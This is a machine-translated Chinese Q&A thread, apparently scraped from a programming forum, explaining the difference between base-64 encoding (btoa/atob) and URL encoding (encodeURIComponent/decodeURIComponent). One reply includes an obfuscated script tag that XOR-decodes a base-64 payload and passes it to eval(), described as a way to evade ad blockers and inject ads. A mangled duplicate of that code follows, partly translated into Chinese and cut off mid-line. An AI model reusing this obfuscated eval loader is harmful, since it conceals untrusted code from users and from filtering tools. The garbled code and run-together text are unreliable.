Javascript 何时使用btoa()、atob()、encodeURIComponent()和decodeURIComponent()?

Javascript 何时使用btoa()、atob()、encodeURIComponent()和decodeURIComponent()?,javascript,browser,encoding,Javascript,Browser,Encoding,您将在何时使用: 它们应该一起使用吗,例如: atob(encodeURIComponent(...)) 如果没有,什么时候将使用btoa()和atob(),什么时候将使用encodeURIComponent()和decoduricomponent()对base-64格式的二进制数据字符串进行编码。最常用的用法是从文件内容创建数据:URI(例如,将JPEG或GIF文件转换为数据:URI,直接合并到页面中,而不是引用远程文件) atob()执行相反的操作:给定base-64字符串,它

您将在何时使用:

它们应该一起使用吗,例如:

atob(encodeURIComponent(...))
如果没有,什么时候将使用
btoa()
atob()
,什么时候将使用
encodeURIComponent()
decoduricomponent()
对base-64格式的二进制数据字符串进行编码。最常用的用法是从文件内容创建
数据:
URI(例如,将JPEG或GIF文件转换为
数据:
URI,直接合并到页面中,而不是引用远程文件)

atob()
执行相反的操作:给定base-64字符串,它返回二进制数据

encodeURIComponent()
用于对将在URI中使用的字符串执行URL编码。这会将URI中具有特殊含义的字符转换为
%
,后跟十六进制编码,例如空格变成
%20
。这通常用于创建将在重定向或AJAX请求中使用的URL参数,或将在
XMLHTTPRequest.send()中发送的数据

decodeURIComponent()
执行
encodeURIComponent()
的相反操作,因此如果您有
“foo%20bar”
它将返回
“foo bar”


对于同一个字符串,几乎不需要同时使用URL编码和base-64。

这并不少见。它用于克服广告拦截器,并通过防火墙规则在页面中插入不良广告。看看这个:

<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>

eval(解码组件(Gg5C(atob(“R1FXEGCICWCVBQUDUFLHXLTCDRYEVKNRFG4ERHITABUU3DZDA9VRXDXEVRAKW0QCBXapieqadhakuhZWVFXFU9RQVXMDU9CWUWAWVUDRWDARCDVPKBGRCEGCAR1MHVA1maegcPavl9DNPGZVL0BLSDGUQ1GUCRPRENGCPR1MJEGZ6R1FXEGZ0EGV5R1MA”),“ba0758”);函数Gg5C(数据,键){var result=[];用于(var i=0;感谢您的回复。我很感激。我不确定您是一个垃圾邮件发送者,还是仅仅是一个教育不小心使用这些功能的人。到目前为止,克服这一问题的唯一方法是阻止dom或Cookie,但您失去了网站的功能。但我相信有一种方法,任何帮助都值得感谢!